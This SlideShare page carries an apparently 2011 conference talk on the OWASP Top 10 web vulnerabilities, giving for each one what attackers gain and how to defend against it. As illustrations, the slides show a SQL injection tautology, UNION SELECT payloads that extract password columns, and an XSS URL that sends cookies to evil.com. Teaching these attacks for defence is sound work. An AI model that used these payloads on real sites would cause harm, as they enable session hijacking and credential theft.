What are they?     Why do attackers use them?How can we protect against them?                 By: Ben Broussard
Who is Ben Broussard?   Austin OWASP board member   Fearless leader of OWASP Study Group (free training!)   President o...
TOP 101.   Injection              6. Security2. Cross-Site Scripting                               Misconfiguration     (X...
1. Injection SQL:   query = “SELECT * FROM table WHERE column =    „“ + input + “‟;”   Attacker’s input: x‟ or „x‟=„x  ...
1. Injection (cont.) Why: These attacks inject code into the running  program. What could the program do? That is what in...
2. Cross-Site Scripting There are fewer flavors of jelly beans. Reflected vs Persistent or Stored Attack could be a lin...
2. Cross-Site Scripting (cont.) Why: An attacker can steal cookies and masquerade as  the victim, make the victim site lo...
3. Broken Authentication andSession Management This issue is common because it is difficult:    Highly technical involvi...
3. Broken Authentication andSession Management (cont.) Why: These attacks allow attackers to take actions as  valid users...
4. Insecure Direct Object Reference www.example.com/cart.php?cartid=413 Change cartid=413 to cartid=412 Due to a lack o...
4. Insecure Direct Object Reference(cont.) Why: An attacker can access other users’ sensitive data  and often take action...
5. Cross-Site Request Forgery This attack is complex to understand but simple to  execute and extremely common. Pieces: ...
5. Cross-Site Request Forgery(cont.) Why: Attackers can force logged in users to take  actions: password update, funds tr...
6. Security Misconfiguration Examples include:    Default accounts    Lack of SSL    Enabled insecure features (php in...
6. Security Misconfiguration (cont.) Why: Often these lead to shell upload and complete  compromise, but the vulnerabilit...
7. Insecure Cryptographic Storage The number one issue here is lack of proper password  storage. Plaintext passwords are ...
7. Insecure Cryptographic Storage(cont.) Why: Sensitive data is an attacker’s goal. If they  succeed at their goal of obt...
8. Failure to Restrict URL Access This is really failure to validate Authorization on every  page. Most common for stati...
8. Failure to Restrict URL Access(cont.) Why: Bypassing authorization allows an attacker to  take actions or view data th...
9. Insufficient Transport LayerProtection Lack of SSL    For request containing credentials    For request to get login...
9. Insufficient Transport LayerProtection (cont.) Why: Grabbing cookies allows an attacker to  masquerade as a valid user...
10. Unvalidated Redirects andForwards Redirects are a necessity:    Login after session timeout    Many forms validate ...
10. Unvalidated Redirects andForwards (cont.) Why: Plausability: their fishing attacks contain links  to trusted sites. A...
Questions?1.   Injection              6. Security2. Cross-Site Scripting                               Misconfiguration   ...
The only bull here is mechanical
Upcoming SlideShare
Loading in …5
×

OWASPTop 10

667 views

Published on

Presented at InnoTech Austin on October 20, 2011. For details on InnoTech, visit www.innotechconferences.com

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
667
On SlideShare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
0
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

OWASPTop 10

  1. 1. What are they? Why do attackers use them?How can we protect against them? By: Ben Broussard
  2. 2. Who is Ben Broussard? Austin OWASP board member Fearless leader of OWASP Study Group (free training!) President of Kedalion Security, LLC. Background:  BS in Mathematics from UT Austin (crypto)  Mainframe and web app programmer for UT  Web app security interest led to OWASP involvement  OWASP involvement led to Infosec career (Kedalion) Gymnastics, AI, Braainnsss, Simulations, Kung Fu, Mathlete, Bboy, Foodie, and more!
  3. 3. TOP 101. Injection 6. Security2. Cross-Site Scripting Misconfiguration (XSS) 7. Insecure Cryptographic3. Broken Authentication Storage and Session 8. Failure to Restrict URL Management Access4. Insecure Direct Object 9. Insufficient Transport Reference Layer Protection5. Cross-Site Request 10. Unvalidated Redirects Forgery (CSRF) and Forwards
  4. 4. 1. Injection SQL:  query = “SELECT * FROM table WHERE column = „“ + input + “‟;”  Attacker’s input: x‟ or „x‟=„x  Resulting query: SELECT * FROM table WHERE column = „x‟ or „x‟=„x‟; Other types of injection include XML, Command, and anywhere untrusted input is placed in an eval-like statement.
  5. 5. 1. Injection (cont.) Why: These attacks inject code into the running program. What could the program do? That is what injected code can do. How: Depends on the platform. Best solution is Parameterized Queries. Don’t treat data like code. Don’t put data in the equivalent of an eval statement.
  6. 6. 2. Cross-Site Scripting There are fewer flavors of jelly beans. Reflected vs Persistent or Stored Attack could be a link to be clicked on, or part of an open redirect, or any clever scheme the attacker dreams up:  Attack URL: www.example.com/search?query=<script>document .location = “evil.com?cookie=“ + document.cookie;</script>
  7. 7. 2. Cross-Site Scripting (cont.) Why: An attacker can steal cookies and masquerade as the victim, make the victim site look like anything, and take many actions that the victim can such as submitting forms. How: Entity encoding. This is how a technical blog shows HTML code without the browser executing that code. ‘<‘ becomes ‘&lt;’ and the browser shows it as ‘<‘.
  8. 8. 3. Broken Authentication andSession Management This issue is common because it is difficult:  Highly technical involving cookie intricacies, the request-response model, the same-origin policy, cryptography and more Attacks include session fixation, cookie generation or brute-forcing, direct browsing, forced logout/lockout, open redirects, cookie capture, CSRF, inadequate logout, password reset/account creation, user enumeration, and much more
  9. 9. 3. Broken Authentication andSession Management (cont.) Why: These attacks allow attackers to take actions as valid users and attack users directly. How: This is hard. If possible use a standard library. If not, make sure you cover cryptographic cookie strength, a framework that covers all pages that require authentication, noncing, SSL, refreshing the cookie upon login, and pay special attention to account creation, password reset, logout/lockout, and re-login.
  10. 10. 4. Insecure Direct Object Reference www.example.com/cart.php?cartid=413 Change cartid=413 to cartid=412 Due to a lack of Authorization checking Systemic of trusting the client Surprisingly common and the easiest vulnerability to exploit
  11. 11. 4. Insecure Direct Object Reference(cont.) Why: An attacker can access other users’ sensitive data and often take actions as other users. How: Implement proper Authentication and validate user input. This issue implies a lack of developer security training, as it is the most obvious vulnerability, and shows that the developer trusts the client to enforce user actions. Is there a hidden price field, too?
  12. 12. 5. Cross-Site Request Forgery This attack is complex to understand but simple to execute and extremely common. Pieces:  Cookies are sent with every request to the domain they are set for. This is how login is maintained.  HTML pages cause your browser to make many requests: images, scripts, redirects, iframes, etc.  Your browser can be forced to send a request that takes an action to a domain you are logged into.
  13. 13. 5. Cross-Site Request Forgery(cont.) Why: Attackers can force logged in users to take actions: password update, funds transfer, grant privileges, update direct deposit info, anything How: Make sure no XSS exists on domain or any subdomains. Implement a nonce system (tied to the user) on forms which take actions. This way, only requests that contain the nonce are valid. Stops an attacker from crafting a valid request to force your browser to make.
  14. 14. 6. Security Misconfiguration Examples include:  Default accounts  Lack of SSL  Enabled insecure features (php include, SSI)  Out of date patch levels (IIS 6 or below, old Tomcat)  Web server running as root with execution rights to upload directories This is a very broad category
  15. 15. 6. Security Misconfiguration (cont.) Why: Often these lead to shell upload and complete compromise, but the vulnerability depends on the misconfigured functionality. How: Procedures are the answer here. Have a review process for all implemented technologies and a patch process with quick turnover. This category is too broad for a good answer.
  16. 16. 7. Insecure Cryptographic Storage The number one issue here is lack of proper password storage. Plaintext passwords are the opposite of defense in depth. SQL injection attack to get passwords:  x‟ UNION SELECT column_name, table_name, null, …, null FROM information_schema.columns WHERE column_name LIKE „%pass%‟;--  x‟ UNION SELECT passwd, null, …, null FROM user_details1;--
  17. 17. 7. Insecure Cryptographic Storage(cont.) Why: Sensitive data is an attacker’s goal. If they succeed at their goal of obtaining access, that doesn’t mean that have the data. If it isn’t properly encrypted, then it does. How: Encrypt sensitive data. Enforce proper key management.
  18. 18. 8. Failure to Restrict URL Access This is really failure to validate Authorization on every page. Most common for static pages which should require Authorization such as access to a blog, sensitive document, or downloadable materials. Less common for dynamic pages, since user details need to be taken into account to create the dynamic page.
  19. 19. 8. Failure to Restrict URL Access(cont.) Why: Bypassing authorization allows an attacker to take actions or view data they wouldn’t otherwise be able to take. The value of these actions or data is the value of this attack. How: Implement Authentication validation in a framework sort of way. Page-by-page makes it easy to leave pages out. Opt-out Authorization checking as opposed to opt-in.
  20. 20. 9. Insufficient Transport LayerProtection Lack of SSL  For request containing credentials  For request to get login page  For any page after login (session cookies, firesheep)  For any page containing authentication details (pre- login session cookie or cart id)  Any time sensitive data is being submitted (sometimes login isn’t required to submit a form, but SSL may be) Other protocols too: SSH, SFTP, VPN, etc.
  21. 21. 9. Insufficient Transport LayerProtection (cont.) Why: Grabbing cookies allows an attacker to masquerade as a valid user. Grabbing data is pretty much the point. How: Implement SSL everywhere it is needed, including pre-logon areas if there is a pre-logon session. Disable port 80 if possible. Make sure that cookies have the “Secure” flag on them.
  22. 22. 10. Unvalidated Redirects andForwards Redirects are a necessity:  Login after session timeout  Many forms validate input and redirect to next step  Retired pages and sites redirect to the new location If user input is used as the redirection location and can be any location on the Internet, then an attacker can:  Craft a better phishing attack (to deliver malware or gather credentials)  Bypass referer checking for CSRF attacks
  23. 23. 10. Unvalidated Redirects andForwards (cont.) Why: Plausability: their fishing attacks contain links to trusted sites. Also, the site may accept requests that it forces users to make more readily. How: Validate redirection locations. There is rarely cause for a fully dynamic redirect. Use POST requests for requests that take actions or change data (like W3C says to).
  24. 24. Questions?1. Injection 6. Security2. Cross-Site Scripting Misconfiguration (XSS) 7. Insecure Cryptographic3. Broken Authentication Storage and Session 8. Failure to Restrict URL Management Access4. Insecure Direct Object 9. Insufficient Transport Reference Layer Protection5. Cross-Site Request 10. Unvalidated Redirects Forgery (CSRF) and Forwards
  25. 25. The only bull here is mechanical

×